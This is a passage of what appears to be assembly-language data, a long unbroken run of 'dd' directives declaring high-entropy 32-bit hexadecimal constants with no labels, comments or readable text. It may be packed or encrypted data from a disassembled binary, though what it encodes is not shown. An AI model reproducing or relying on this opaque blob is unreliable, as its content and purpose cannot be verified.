0DC997461h, 4A241846h dd 0C96C1FAFh, 1A7A5F52h dd 0D823F397h, 9F02D419h, 5251CB2Bh, 8976E2CAh, 553ADDF3h dd 0E16B8957h, 57F66A65h, 0C0C011CDh, 5883679Fh, 824B5731h dd 0CEE0D910h, 5BBF0F11h, 0F47ED1FDh, 0BA4EBE2Bh, 75D4AFC9h dd 93531677h, 59CCFBC4h, 183EF081h, 5A6F1026h, 96979D8Dh dd 894B4472h, 76A179F7h, 9C7CF4B7h, 9D183BB0h, 70E6BDA1h dd 0FAF100B5h, 0BD71E417h, 0F54A4B5Eh, 89083205h, 23F030ABh dd 1A5BE9BDh, 8B72E1A3h, 2A3C6C41h, 0A7DF0420h, 796E13EBh dd 20C0F82Fh, 0C35F4B35h, 0ADCBBFA6h, 6BA16D8h, 760D9A95h dd 12152659h, 9A2F230h, 7866EB80h, 0FE8A03A1h, 0F56C82Bh dd 5D5221E5h, 8B678719h, 3D922BD1h, 0B794A712h, 0AD601408h dd 9819D839h, 6AFE7425h, 4C44F681h, 8B02FFC6h, 70091F8Dh dd 0C5C0B7AEh, 0B98825A5h, 619C2E4Dh, 7E700D59h, 0AD5AB826h dd 1C9466FCh, 0E496B261h, 4B02CBBDh, 99573039h, 16140ECEh dd 6B23AFA6h, 16175F5Eh, 88EABD88h, 30E48013h, 33531708h dd 4365A207h, 0ECB09AD7h, 97C1913h, 93F1BDDh, 5B120AD9h dd 33CA29BBh, 935400DEh, 0AA59DEF7h, 0BC6D0450h, 0BD85E439h dd 4ED090BEh, 0CA16EA5h, 9ED2C9Dh, 0AC7BC37Dh, 0ED9B8A05h dd 0B080C79Eh, 0F4CDF5F7h, 0D1075700h, 45BB3C80h, 4F2C12A1h dd 89F36Ah, 0A024983Fh, 2EF1784h, 0FC396437h, 0C05EB12Ch dd 4EFFA66Ch, 0AC26F9CDh, 349B31Dh, 0EFFC4265h, 2D5A2E98h dd 0AD969524h, 0A74DB100h, 41D4B959h, 858D3F10h, 72EE765h dd 4B9D33CCh, 2F28B2Eh, 0B8083628h, 4714DFh, 9E241E3Fh dd 35C364B1h, 39A3775Eh, 17EB8100h, 5B1957A7h, 7D85E295h dd 0B2001ABDh, 0F0340A06h, 25BB0475h, 0F808E667h, 0DB312D27h dd 3D246930h, 4BBF011Ah, 77F68F17h, 894BE966h, 4A7C8BA3h dd 4F7CF7B4h, 0A79E4F9Ah, 7B7D6D10h, 0B8E07002h, 60C04B6Bh dd 0BB1B504h, 0DF749EF1h, 46D6EE74h, 0C980001Ah, 0E25B53FFh dd 9B32F64h, 0B15CC05Eh, 6EC00E20h, 0CA40A001h, 0ABAB4494h dd 715FAA4Bh, 32D80002h, 81FF87F7h, 0DC1D4909h, 469B795Ch dd 9F9E2F97h, 8C700BDCh, 2F021CA0h, 0F1F702C5h, 4000BBDEh dd 897301EBh, 2F4EC59Dh, 57CF17F9h, 824956FFh, 0B5575FB6h dd 811D91AFh, 22C9ADBCh, 0CACC5FF1h, 9438EDFEh, 0E6E1FF16h dd 63B4E002h, 9A27C60h, 0B576F0DFh, 0D945A279h, 4AECD1EDh dd 0C8A73607h, 3FD2202Eh, 10EA7646h, 13293B12h, 38BB2439h dd 0EF9FB7E4h, 519260EFh, 72253DBBh, 0B510D7F1h, 110E0C41h dd 9293684h, 385E56D5h, 0AC61509Dh, 0EFC525B4h, 0CC503C11h dd 50E27A32h, 512887h, 0B768CF81h, 605B523Dh, 0B078AEBBh dd 0EA8A0267h, 0B6B3799Ah, 40027066h, 993B2CDEh, 60CC6086h dd 86F9BD89h, 8A15F13h, 31800DD9h, 0FA8EC9E1h, 0FB01A440h dd 71E3C52Fh, 43A7EAEh, 0BDDC8A02h, 848A7AC7h, 0A35261B6h dd 0E4F04EECh, 8096971Bh, 4D418BCh, 0FF49CA6h, 0F8F9D88Ch dd 0FF3B8B9Fh, 240406A2h, 5B00F846h, 0EBFFD1ACh, 3521D3A6h dd 838083BFh, 0AC848118h, 200EF2CFh, 0C4165A41h, 5F8E5400h dd 2B9308CCh, 95AD7CBFh, 9E265890h, 3F5E8303h, 0E8A13368h dd 12B8C973h, 0B450C58Ah, 0FE0BBBE4h, 7644D180h, 8A703B3Dh dd 0BF60E754h, 793EC00Eh, 7033E115h, 8DCECA00h, 0AD062F26h dd 0DE388E98h, 0F242CA5Bh, 7D58D88Ah, 1A017E37h, 0EBEE2F9Eh dd 0EFCB06Eh, 1DDD3BDh, 0A498BF70h, 4BDD2A93h, 0BFB4F426h dd 98012298h, 41124192h, 6ED91791h, 15A0DB8Ah, 0F50BD617h dd 77312E66h, 0E891E0EBh, 0C5DE2B01h, 0F35A0C80h, 6109E7C6h dd 0DF7B1EECh, 64441C15h, 1BB96BC1h, 0D28EB26Bh, 5280889Ah dd 0F9891A43h, 8E922h, 5A11EAEBh, 5F61B8C6h, 60D98B04h dd 0E485EC8Ah, 57DAA862h, 16C456CDh, 0B3E37F60h, 0F209514Bh dd 8024D15Fh, 0F0689F5h, 0E59F098Ah, 0D9BF89C5h, 8F0223B2h dd 0DF092EB1h, 11F4B118h, 0C8FDBC00h, 30FE6864h, 77B22802h dd 4460390h, 23A19D31h, 0AA81395Fh, 0B1362434h, 7905FFF0h dd 7012947Eh, 0F5F31FB3h, 681C3D49h, 0AE37529Ch, 9F638480h dd 882AEF28h, 470EA5ABh, 80DE7DD4h, 541A94C7h, 0E29C00F4h dd 177FC4CFh, 8E17DB40h, 7EAE858Dh, 0ACF60032h, 8D1ABFE2h dd 0A27560BAh, 0E19D03F9h, 0F7AC085Ah, 0BAA0608Fh, 8D0F1F01h dd 5549B096h, 0C5B7A5E6h, 32440242h, 0E4FD1ECBh, 0B1E85CC2h dd 53B9D2C0h, 0D0FBE6ADh, 810F74CEh, 0A4E8C5F7h, 22DB5F2Ch dd 0BDC51488h, 0FF82A0h, 0A4EF80A0h, 6D9D2361h, 39BA2E4Ah dd 0EB282B8Eh, 57C2E16Fh, 52EBD14Dh, 7D072516h, 0F649695Ch dd 737972EAh, 98BDE700h, 61492312h, 0E58DE83Fh, 2EE82F1Ah dd 0B865EDD3h, 485A015Bh, 0BFBACFD8h, 2F4C2562h, 0FE00C3Ah dd 93B6FAB7h, 8AB20EDCh, 92407E77h, 28E679C7h, 4E215897h dd 0D22CBB26h, 0CE988A62h, 0C91DD748h, 37404FD4h, 231C84C7h dd 446B0073h, 0E2912059h, 2391E932h, 5CF0096Bh, 7900F4FFh dd 7754BB62h, 0B67EC98h, 0FE8AE3C6h, 0BE614198h, 50399000h dd 0DFCB7942h, 265C09F1h, 7A021A58h, 5B0319A9h, 1E54BF09h dd 0AE5474ABh, 6A3E88DDh, 0DF480457h, 0A1BCBB54h, 0ED54FD4Eh dd 25FE01F8h, 30703FAFh, 62F90E5Ah, 0A3B315BCh, 96BAD805h dd 562F33FCh, 0B10BE754h, 0F0ADA337h, 96ACEC61h, 57DCAB92h dd 961B0701h, 0AF8599BBh, 0B204EBD7h, 0F50B1609h, 71C9835Ch dd 409C1F38h, 0BBAB919Bh, 0F81C55FFh, 0A88969E1h, 0BE66D1ECh dd 0B2F7F64Ah, 0E8E43314h, 20BFC059h, 9D64F126h, 0FB5B3D1Ah dd 35181959h, 0D46A0D00h, 0BB6684D6h, 855C4E04h, 82DCDB56h dd 60226970h, 4E64EBD8h, 0AF7485ACh, 128AE62Ah, 29B505D2h dd 0CDE3EE1Dh, 6B243100h, 6130D387h, 64F34DB7h, 0D8F26418h dd 15B58905h, 8977EC26h, 0E1264D6Ah, 0C05B9946h, 0C9171B17h dd 13EE30F0h, 0BBD053F3h, 4F8F392Ah, 0B4DCD60h, 8FA691B5h dd 0EAAD5D2Dh, 0F8D1758Fh, 211BDFA5h, 667D60DAh, 51571CA6h dd 5096435Bh, 1A090B7h, 94A2D9Dh, 1CBCADF9h, 0C20B048Ch dd 0BDEE8780h, 5E8E4CCDh, 5DFC7D92h, 0FD527EDBh, 0B04EB94Eh dd 4422E78Ah, 4A8EEEC8h, 7E1E0B7Dh, 509D86C6h, 6129402Eh dd 80727995h, 4AB636FBh, 0EC07647Ch, 654D2F93h, 69433760h dd 0A6131683h, 0DAC80253h, 91DD5F5Bh, 215052Ah, 8DB2F790h dd 50B96557h, 8B00CC30h, 117FEE3Bh, 0CBFD115h, 4D2A125Ch dd 0E5EE1C4h, 15BCC8EDh, 0F2093293h, 5905FBB4h, 0B8D1814h dd 21059501h, 0DD27E352h, 91B94E0Fh, 0E1D380DFh, 2EE53CF2h dd 0CFE33B04h, 0AEE87C9Fh, 0AE9833A2h, 0D04E7BD7h, 706C878Dh dd 92039980h, 7313BA1Bh, 60BF3C50h, 7B66E854h, 56BA834Fh dd 17D9088Fh, 0A4EE5A30h, 8F614E59h, 0C8DA4A7Fh, 0FDBB1180h dd 4D4AA6BDh, 4744DD13h, 82181D29h, 61811BFDh, 0C26E32E5h dd 2A0CF80Bh, 0AFE5D9C5h, 0FCF8513Dh, 41533A61h, 0D27AEFh dd 0FCA75A28h, 2D088602h, 12F7509Dh, 46C06209h, 14090536h dd 0FE499ADAh, 0A87FB5B1h, 0AEFC93B1h, 19717FD4h, 987ABEA8h dd 0B1BD2AFCh, 0D83E43BCh, 8B0810C0h, 0FAC20920h, 57EE302Eh dd 8CE1E94Dh, 0B92AF668h, 8F584A8h, 0FE934CE8h, 0C5F21367h dd 17F291Ah, 5F0A3A1Ah, 5B36Fh, 3EAA478Bh, 1AB5AD4h, 66E6DF4Ah dd 26903B99h, 8036F020h, 25C13CEBh, 40E8BB02h, 2FC01AF1h dd 98BD0DCDh dd 2D9D2906h, 49D33069h, 0C225F0A4h, 964F5DF9h, 98A89D61h dd 2009673h, 3D88CD41h, 0DCFBD2F1h, 58091E8Bh, 56FF4CA2h dd 15509D3h, 66C0615Ch, 0F63C35h, 0D487162Fh, 0FBCB253Dh dd 0AE7D6412h, 9788F8F2h, 4995BF81h, 58BE68A0h, 9304EC5Eh dd 0C7E0B2F6h, 5302C812h, 8BFCE6F2h, 5FE883FAh, 0BEBBF8F5h dd 0CD114CEAh, 9273042Fh, 0C7B75478h, 5085CA38h, 0BBD56DCBh dd 0D3FF9B12h, 0D27DDAFAh, 689AD771h, 1D2ADFF4h, 8738AF0Bh dd 0A92B66CFh, 0AFF10104h, 0FF38B538h, 8E5ADB05h, 99B52229h dd 0CFB9571Fh, 0D1A16B33h, 56834738h, 0E98D5F53h, 41871374h dd 839B1735h, 632FC0DFh, 983F4EEDh, 6EB28161h, 8CFF1946h dd 5F127BF3h, 25D4F65Bh, 90B3ECF5h, 974178ADh, 60ED90BAh dd 0B2AFFAC5h, 0CC312CCEh, 5E370B25h, 0CC12F45Eh, 9E346022h dd 718DF6BFh, 0F9ABBF02h, 589AAFF3h, 0F2895A6Ah, 67BA4EF4h dd 47795933h, 120DED08h, 78C1ABB0h, 326C70E6h, 0ED646B80h dd 1F04CB39h, 71E4444Bh, 2A981C1h, 1371322Fh, 40F5D62Bh dd 7D4C118h, 7845440Bh, 89DF023Fh, 5176290Bh, 0D7D5DFE7h dd 932388AFh, 8904F343h, 0BA15799Dh, 1A41C37h, 85201236h dd 0D3801634h, 4F4CE98Fh, 2B5445EAh, 90E3EAC8h, 881950Ch dd 30BED157h, 0BF00DB4Ah, 0AD58DF9Ch, 1CEB3F4Dh, 7147A1A8h dd 0D8204585h, 55324C50h, 0C6E18447h, 0BA1ED71Ch, 5A095810h dd 0B500E4F3h, 0CF5B1ECCh, 0F501EA27h, 73F1EC42h, 726074D1h dd 79A597F7h, 0C008FD33h, 6D382470h, 4E4CFED4h, 0BAB3D822h dd 3359891Eh, 8CCD4664h, 5FF54E7Bh, 0B5F43AA9h, 4B164163h dd 669E8C1Bh, 8197BB13h, 9C38AEEh, 7419E59Dh, 89F95036h dd 788A9556h, 30A22B5Bh, 25AC5E84h, 0D2FE3AAh, 331841BDh dd 0FD067900h, 0B1E25Ah, 0DDBAA568h, 0C251DB39h, 0B6EAFE00h dd 0AD8486D6h, 0A7235BB9h, 0D488B015h, 9667033Ch, 0AE2D7DDDh dd 92FCFC2Fh, 56D97DD9h, 10E9D6A5h, 0FC5F132Ah, 0E6921B9Bh dd 89833DBAh, 0C298CB80h, 0BECF7571h, 0E0005B4Ah, 0F2EAD2BBh dd 0F8294A57h, 7DE192F9h, 0C0ACDE7Ah, 0A0A62612h, 9C0C04B6h dd 0BC75FB9Ah, 42F5F276h, 0CC135DC5h, 2B0B81B1h, 9831F2D8h dd 0B2175F48h, 989AD298h, 0FB43A981h, 0F7BD6ABCh, 3B678D4Bh dd 0FAF514B2h, 0F100D46Ah, 0EE9D9042h, 0EA0412E9h, 0FB8BAFB2h dd 86EEAh, 5F6FE686h, 0A06EF0E7h, 95150D9Ch, 23C460D9h dd 11AF8B4Fh, 1164BB77h, 35917781h, 0CFCCE93Ah, 0E75273BDh dd 6B109EB9h, 84E8B761h, 0B874F380h, 25ECA2CFh, 25C98052h dd 7A4A6F74h, 0A1BD28AFh, 0B2D8045Bh, 60090025h, 2A2811C8h dd 0F495DF8Ah, 0A6D76F97h, 80BDE03Dh, 880997F8h, 17C061CDh dd 2B00DCBh, 7A9A75ADh, 11FF23C5h, 8B4480ECh, 0B4D239F8h dd 0FD8A92A4h, 8BAF59F1h, 0F1BD7D81h, 0B6A15B0Fh, 0DDAAEB16h dd 0A80B69BCh, 0E21F8A7h, 516F641Dh, 0A9E4DBC0h, 5B2F4D46h dd 4B809050h, 117C002Dh, 0C7E00554h, 93B86997h, 0EA002E99h dd 49EE3D7Fh, 5CD4B51Ch, 2A5B957Ch, 5707BA5h, 0BA6A49ACh dd 0B1E746E6h, 0FCF96DA7h, 2912D1F7h, 0CF20957h, 0A800FC8h dd 0FBB6D970h, 80380161h, 6774E65Dh, 33FA61DEh, 6CDD00C0h dd 1B4EB1A8h, 0DFBE0076h, 5808DB4Ah, 890509DCh, 0E468BA8Eh dd 5FCB31ABh, 1B89285Bh, 0F416DE8Bh, 5EF204F1h, 0A4B36315h dd 0F8BB00DFh, 76483DD2h, 21EC9209h, 0F95ED927h, 41646D6h dd 31B9E0B7h, 64495A85h, 0B5EFD589h, 13ECDDCBh, 7C90C2B5h dd 87F9C099h, 690029C1h, 6D712079h, 9796E813h, 9DFB81Ah dd 0C99C5953h, 8A50DBD3h, 580125AEh, 0EE090BD6h, 0BC847014h dd 7000F677h, 6FF1D0F5h, 272BD3BBh, 995D7E23h, 4CA4D725h dd 9D030566h, 89D64569h, 0ADC18206h, 74D18EAh, 276019C4h dd 58139D82h, 3416715Bh, 0B43DDCBFh, 5C0FB9Dh, 0CFE07Dh dd 0F08E1FA4h, 0B601B44Fh, 97CE8160h, 0B93E6AF9h, 71848961h dd 0C2602521h, 0C309EF81h, 7D167994h, 3A70D818h, 39F28C03h dd 0BAA8EF82h, 0D8D95F94h, 9AD874Ah, 70E5D397h, 0FA0B831Ah dd 5EE43CE3h, 1D46D6BEh, 0A20ADC00h, 27551C16h, 935A3073h dd 819DAFC0h, 10F99512h, 90BE56E0h, 61AF032Bh, 5800F59h dd 2E0F257Ch, 0A95D1743h, 0FDD6450h, 0E3BD284Ah, 38A83D20h dd 5F048D31h, 0AB166B35h, 0FBB01C8h, 70D96919h, 0DACBC232h dd 90970444h, 4BFB3DFh, 58E88FE5h, 2C5EFF8h, 0EF8276A8h dd 7A75CA04h, 0CD9C0148h, 25C6D135h, 0D8B83A06h, 5AF78A04h dd 0D24EBC61h, 0BB9019C0h, 0E7F409C0h, 54AB5017h, 805CB77Fh dd 8B1336DEh, 0C295AC90h, 0D35F4281h, 3050D156h, 9D0B198Dh dd 0F34FBFFDh, 938B1030h, 0E0DCB04h, 0F97C6109h, 0BCCD1FDCh dd 0FE38466h, 0E58BAE49h, 41DAB0A5h, 4CE32B5Ah, 0B4641089h dd 9283497Bh, 4997120h, 0BC446FF3h, 0ABD6EB04h, 5ADB48CCh dd 2C776F1Bh, 2109115Eh, 0C4037932h, 99265850h, 89B0A729h dd 0BDD7043Dh, 0C480181h, 2B317FCEh, 884F938Ah, 8A009DD3h dd 35C57108h, 9D5101D9h, 187263F3h, 0F250CF3Eh, 848C4BFDh dd 0EC27A9DCh, 0EC270271h, 0D3329C64h, 5BEBD85Ch, 6A42512Eh dd 4A5EB4C0h, 0F571550h, 0B682FC87h, 0C6775BACh, 1F7F006Bh dd 0D5EFE5DFh, 470E4479h, 0C12E935Dh, 0C2BAA86Fh, 2538E32Fh dd 5446715Fh, 749776E2h, 0F000FEDEh, 0BFE69D18h, 568896CAh dd 15E2C726h, 0A09E3C30h, 9720D69Fh, 0F4FEDF74h, 694800C1h dd 2FDD286Ah, 619D0D77h, 51001C87h, 355B9D29h, 274E52C6h dd 8BDC486h, 0FF4A4B80h, 0B8A6E6Ah, 4787CF3Bh, 9925D1DCh dd 3DD801E7h, 38F3BD0Eh, 0C4371852h, 0E62AFFFFh, 0D59F41C0h dd 47172F96h, 973A8E6Eh, 0B5296C09h, 0C240434Ah, 0F1B52DCDh dd 1FB56BB7h, 628B5501h, 302F34E5h, 0B59D0B62h, 0BD2FED9Ch dd 706E0192h, 252EA93Dh, 48F77B94h, 87F85BB2h, 0CDA1E895h dd 37B9F02h, 3129D0h, 0EC37E7ACh, 5396E994h, 0F78112BFh dd 0C69D6C72h, 2FE007F7h, 40B1EBD0h, 0BF4CCE5Bh, 0D6FC401h dd 10BDAF8Ch, 50C55FE1h, 0BF969170h, 0D99DB96Ch, 666D2537h dd 0E6631564h, 23F380F8h, 7C58BA97h, 7D4BD473h, 242257CAh dd 9852917h, 0B7500A42h, 882A5EA1h, 0BB410482h, 0B5786A7Ch dd 938E4081h, 8AA0E851h, 0FFC9DD29h, 8B192556h, 89F4A55Fh dd 2B47F5FBh, 16B24FA6h, 58215630h, 0DB58D6E4h, 774984C8h dd 648B8F66h, 80343040h, 7BA3D32Dh, 13978896h, 85C33859h dd 3E6FAEh, 0F9DA0D25h, 12B2EFACh, 0F3414662h, 0B6B4C38h dd 90C60595h, 0B52A09D7h, 818077E7h, 9A5A75E7h, 4AF3F85Fh dd 919BAAF2h, 0C18BC6C3h, 0C7358009h, 0D64374F9h, 0A7001646h dd 8AFC322Ch, 0DC9590DAh, 50DEC16Eh, 33B2353h, 1ADA9407h dd 0E32FC89Ah, 905F1723h, 28DBBBF8h, 0C033AAD3h, 0AA9280F0h dd 16A817DBh, 4F34BEBAh, 920073A2h, 77B88C68h, 7E0FE41Ch dd 406D84C6h, 0C92AD151h, 0C31B05C1h, 425DBD0Bh, 6A5F5BCBh dd 726A5B7Fh, 0EA203854h, 6FCF5481h, 0C940ABDAh, 0EE402FA9h dd 99E09AEDh, 4B989B62h, 0EFF72490h, 25357F14h, 5B2D44FDh dd 8454DB05h, 2008892Eh, 6D93031Dh, 95139B5Fh, 0C7BE0024h dd 5022009Ch, 0BF09BA60h, 0D6567B79h, 0EEBE0428h, 0D2021F61h dd 0DD769D82h, 2708020Ah, 4A02DFBDh, 4622D243h, 0E101000Bh dd 0B43F5A50h, 0F81E16A6h dd 0EA855B28h, 0E4A2562Fh, 0D3DCBA07h, 0C87F9B37h, 0EB4D9E0h dd 5F5DF728h, 28DCAD3Ch, 0C9C001F4h, 57C16D3Fh, 3C03E04Ah dd 2420BF00h, 0BD317961h, 94709511h, 0AB2CEDB5h, 10EC583Fh dd 31CA5413h, 0D94029F2h, 6F2365EDh, 4BB5BCD1h, 7225A08Ah dd 2BE073D4h, 3E49242h, 0BD38D464h, 95B293F3h, 5B92487Fh dd 26A31F9h, 2298562h, 59D1D790h, 8BB10F00h, 5C1412Eh dd 3EE04623h, 5BF5EBB2h, 6E6E0821h, 1B10ECCh, 1AC63DF9h dd 5DD6ED7Fh, 608E43DFh, 9B7E0C33h, 0F107B7E0h, 8EE08061h dd 5D92E942h, 0B320721Ch, 85891340h, 311B80B5h, 344B418Dh dd 0FB3030FFh, 0CB00E583h, 0AB312E3Bh, 2739639Bh, 59C48DB1h dd 0EA838A00h, 154BDE59h, 0CBA61693h, 0BC29BE82h, 99A8CC29h dd 0A8F05100h, 50C50CD5h, 21330BBBh, 0AEC24AFFh, 97E4C65Fh dd 4F36F32h, 67A9D073h, 0E0182DBDh, 42F38C1h, 9B1260F8h dd 849AF25Fh, 0F80923B1h, 0BF8F9B79h, 4710C5C7h, 31434ABAh dd 0B28A4AEh, 0C9901FA9h, 0A2BF1735h, 7534C9F9h, 0B47D0A32h dd 80950491h, 0BD61D2D0h, 9557886Bh, 5C002353h, 0EABC68A2h dd 1D093D3Ch, 751EC628h, 5F4A64C6h, 2C5FBF5h, 714BE408h dd 16683C8h, 0BA4332ACh, 2FCD26CBh, 881D7B48h, 0A38013E8h dd 8FF5E9CBh, 0B1DCB578h, 4F318A60h, 8CAE2E6Fh, 0CE509A8h dd 9869F35Eh, 146BAADh, 0A3A4A869h, 0E6F10B29h, 0B7048FE6h dd 0F58D09FFh, 390CA95h, 0A8AE82BBh, 1F86E27Dh, 806CF3E8h dd 0D7A7DBF7h, 620263EEh, 3977ABCDh, 0B920DD1Dh, 0BB15DF81h dd 0EEE22ACAh, 107E908h, 8501C82Bh, 935ECEB9h, 0EB53A244h dd 0FE2B381Ah, 0B090841h, 0FE4E037h, 66C16109h, 6C44C14Eh dd 0BDE28086h, 5BD465h, 21681DFDh, 7BD6F5C6h, 0E08C9325h dd 1CEF80A0h, 0C6CF811Ch, 1854AE9Bh, 0A497F8E0h, 6CCA238Eh dd 5965F01h, 6B8AEA9Ah, 89C161ACh, 2F13998Dh, 0DC3E814Bh dd 2EEF62E2h, 0C46C7E5Eh, 0F91D5AD5h, 0D54097CDh, 0EFC9BBF5h dd 0D8394B19h, 2409BF80h, 87F70B2h, 813D7C79h, 432D0777h dd 612FF98Bh, 4BB8185h, 0F37A2D8Dh, 7D6A8BC1h, 9013FC30h dd 0F862E400h, 0AB569254h, 0B52B1CA6h, 59B67221h, 2E85C040h dd 0DA2B6181h, 0C018C8E2h, 2AE61B9Eh, 0EF0281F6h, 1C2B6A5Ch dd 0ABC4FF23h, 0F162B92Ah, 2589EDFBh, 0A2132E08h, 8300B76Fh dd 5271075h, 33096D91h, 7CFCB414h, 2100DCB7h, 4731F214h dd 49C5B509h, 884A5E0Ah, 95015A75h, 0CA2D019Dh, 4CCCA85Fh dd 0FA894F7Bh, 185BDF49h, 0EEA9BD5h, 3B4782A1h, 6136C1A2h dd 2EB4E970h, 2D4132F4h, 40F89698h, 260405E1h, 98AE2629h dd 0BD1303DEh, 8BEF2AA5h, 865CF034h, 3E050032h, 81617C9Dh dd 277E07EBh, 2F89644Ah, 217D9C2Eh, 2D40B900h, 7BFDC153h dd 0B122FF0h, 8600F2B7h, 0BB6707CDh, 46DB7FBh, 0AA601D44h dd 0EF009A78h, 7131B470h, 9DFCD42Ch, 49D4C176h, 3A804E18h dd 0A0096590h, 687CBB04h, 75BA3C35h, 6F6AEB9Ah, 34C72705h dd 66CBAFFCh, 5EA1E6B5h, 291DA9E7h, 0AF171395h, 5B998Ch dd 8202E09Ah, 0C0589C2Ah, 797BA401h, 91DAF572h, 7841283Ah dd 8E1D7986h, 27DCD8B4h, 584648DCh, 8E809391h, 0C802F639h dd 7C7F0123h, 0FF06A34Bh, 0B8996DE1h, 5DE2006Ah, 6EB1C880h dd 66EC0327h, 1F4FBF7Ah, 0D7FE0EC9h, 0E8239D8Eh, 288A23CCh dd 4C519674h, 44DBFA14h, 0F3DDEA96h, 36B7282Fh, 51AF5E8Ah dd 3D55D2F3h, 0B6CE0081h, 0DA8EE952h, 0BD31601Fh, 21562D16h dd 11B13407h, 8D53BFC0h, 85224E2Bh, 0BF6EFFAEh, 0EB67B701h dd 0D94990AEh, 0A7133A25h, 0E8825F9Bh, 0CD719ABBh, 6472CE00h dd 0E1C98Ah, 9DAEEE08h, 6CC1802Ch, 0D391F54Eh, 0F72B0168h dd 6549A083h, 0CA1158F8h, 0DAEC3DC0h, 26E0C402h, 0FF662400h dd 290FC781h, 822BE774h, 0CFDD559Bh, 0AF26605Bh, 1B27DAF7h dd 4A4462h, 0D3301596h, 0C884030Bh, 0D0316502h, 575D34FDh dd 2B98FFC6h, 4E307D20h, 3922DD5Bh, 8BDA821h, 19358529h dd 214DBB00h, 0B95214C8h, 56C184F6h, 0D6B3AE98h, 4B7B804h dd 5314E0D2h, 213BBF01h, 505B7DD6h, 9FD5A82Eh, 0DDE1DE6h dd 0F7B374BEh, 2BF8313Eh, 0AF68C790h, 2DEC254Eh, 501DEA70h dd 5CE5F34Dh, 1D46D6CEh, 431F5307h, 0F38BD0D1h, 0B94E5F21h dd 0B880AD8Ch, 5EE9779Bh, 9E25DE01h, 0C54A2DCFh, 2FB2E5EEh dd 34182100h, 4CB6E04Eh, 0D3A90B9Dh, 3AAAD9E0h, 0BFABF34h dd 0B9DF1D1Bh, 0C57E0946h, 2C28BA08h, 7A0A9B06h, 492CDAFDh dd 9949673h, 0A5E7EC5Eh, 4B1DE3FFh, 0B53550C7h, 0BCB725AAh dd 54FA1DD1h, 0C1794DAFh, 2E34418Bh, 0DEC062ECh, 5F1DA68h dd 5250C712h, 2D0A88h, 248539CFh, 3BC5B77Fh, 0E6310F2Fh dd 691A9539h, 0BDAD2FDh, 39191225h, 70C0FDEDh, 5EABA57Bh dd 40F6E3CFh, 0CA960DCFh, 0D720A94Fh, 0DBF6B86Eh, 63BCCA26h dd 0EBD1006Eh, 7079A60h, 0DC3AA07Ah, 0A9FC22BFh, 0F51E63D7h dd 7E053583h, 97713D2Fh, 0A51047A5h, 0F10020F9h, 7B3A095Fh dd 4F9B8627h, 0D51AC87Ch, 9F403B05h, 24FEB0E7h, 0B89DA918h dd 0B40F4873h, 6AB7B55Eh, 0F3FCEBEDh, 1E2D6D02h, 57F53C0Ah dd 0F6616484h, 0BC77E0E7h, 0F56D09EBh, 22D1292Bh, 0A19D0B61h dd 0DF52F32Ah, 8962C2E4h, 25570E1Fh, 468EAFE9h, 1B6A2AE9h dd 2397200h, 20FED821h, 0BD898C04h, 9EAA2F71h, 0F2EC9672h dd 7DE380A0h, 4424149Dh, 56B7530Ch, 5BDA62A9h, 0F54AD296h dd 517AEFh, 5FF71A49h, 253CF1BFh, 7D46FF12h, 352D0975h dd 0D945F2Bh, 49581F9Bh, 0C9CCE335h, 0EF810226h, 3AE9BCB6h dd 0D72D605Eh, 2200D5BDh, 4B9CEBCDh, 10354C83h, 0F54E0122h dd 4E206ABEh, 159998h, 17BB50FCh, 8962F4C7h, 6EFF344Bh dd 0C5B25BECh, 5ED9FC96h, 0BAB5E7BCh, 938D6074h, 80ECEC2Fh dd 796C5C57h, 9DE4B523h, 0CAFD5F5Eh, 589315ACh, 2223DF0Eh dd 5701FDBDh, 8F9D4A4Eh, 787A8903h, 4F4F95DEh, 594BA260h dd 0BAEC251Dh, 0E97B190h, 48DB8A12h, 3F69C9FFh, 0D3420DB6h dd 0DB31EB4Eh, 5FF4ACF0h, 0C21A00F2h, 6BDCB239h, 8997DF3Fh dd 70C753FAh, 91003C1Eh, 0C40B3646h, 988D8CABh, 8A9208Bh dd 76FC0B97h, 0E400DCDDh, 0A16BFEA5h, 2537D431h, 0B05F34B3h dd 851CED2Dh, 0D78C0F09h, 0F504796Eh, 0D1102FA0h, 7A2EA230h dd 0E15F3124h, 59B95B13h, 0AE1C9D13h, 1795B99Bh, 0F3858CC5h dd 0D5204E93h, 0F697DACBh, 7CAE00DFh, 2F2599E8h, 6958FD4Fh dd 0D44B0970h, 61A77611h, 7AC72B3Bh, 0BB5033DDh, 0E76DBD31h dd 0B03F5B59h, 1B41C9D9h, 0B691D720h, 302D623Fh, 40276F5Fh dd 0A1FDD74Ch, 44F89327h, 0F47B021Eh, 0BEADDB75h, 0BD40AFFCh dd 0BFB08Fh, 7A0B3CD8h, 0C0D249ECh, 0AACDE02h, 5E5F8D12h dd 103251C4h, 5B85360h, 7E64F037h, 1FACE25Fh, 55400A32h dd 972C7A4Bh, 2A5E00B4h, 8A25F2E0h, 29276AA0h, 40484261h dd 3B735357h, 0B0CE43CDh, 52BF9D56h, 2CF19DE5h, 0FBFB9754h dd 0FF192A09h, 11567C9Ah, 661D1D10h, 0F7F192BBh, 0F6A4EDEh dd 69F91107h, 0B353F129h, 0AE6B3AE2h, 61001C23h, 5AFC9F4Fh dd 0C6221243h, 1CECF330h, 9569D29h, 2B1738BFh, 0D11E4BD3h dd 40D59C22h, 0E01170B2h, 998D1302h, 0F7169B10h, 928087ECh dd 64B72FBDh, 8D89097Ch, 0E1790E29h, 0F51D4E9h, 8B65C5BDh dd 7CDEEFF2h, 0B99BC982h dd 220A3902h, 0D750319Dh, 2D5B563Fh, 6537C1h, 0D1E7368Ah dd 7B0AD3E0h, 636561FEh, 2ACD4A7h, 4616BC14h, 4DE91C74h dd 0A05D49D9h, 6623EF19h, 0EEB205BFh, 0AF05B501h, 90C8A657h dd 786901F6h, 562233D3h, 0FB7EF07Bh, 0B1020BF4h, 5C9FEF4Fh dd 0AC077D14h, 345E3256h, 8035D15Fh, 8AE43885h, 0F5951049h dd 2970968Bh, 0FAAFA4B7h, 9DCDF113h, 16B5901Ah, 199C47BAh dd 23C669C3h, 9700BE79h, 0A9AD9C75h, 95FB8B51h, 7904E487h dd 9F4945Ch, 898D293Dh, 375A595Dh, 7AB7E35Ch, 6D2404E1h dd 1BAB8E1h, 47EE13EBh, 6F388ED7h, 0B1BC61EDh, 0EA66EF2Fh dd 1A76951h, 0A24EF86Ah, 2E9AAD55h, 2F7AB56Bh, 4BC00E9Eh dd 19074FD9h, 9B7AB812h, 8BD1FD02h, 51605EDFh, 5C0266Dh dd 26A7629h, 3849578Ch, 0BADE72A4h, 5290B331h, 202F0C21h dd 0DA786A21h, 8362063Eh, 0E7E68EFDh, 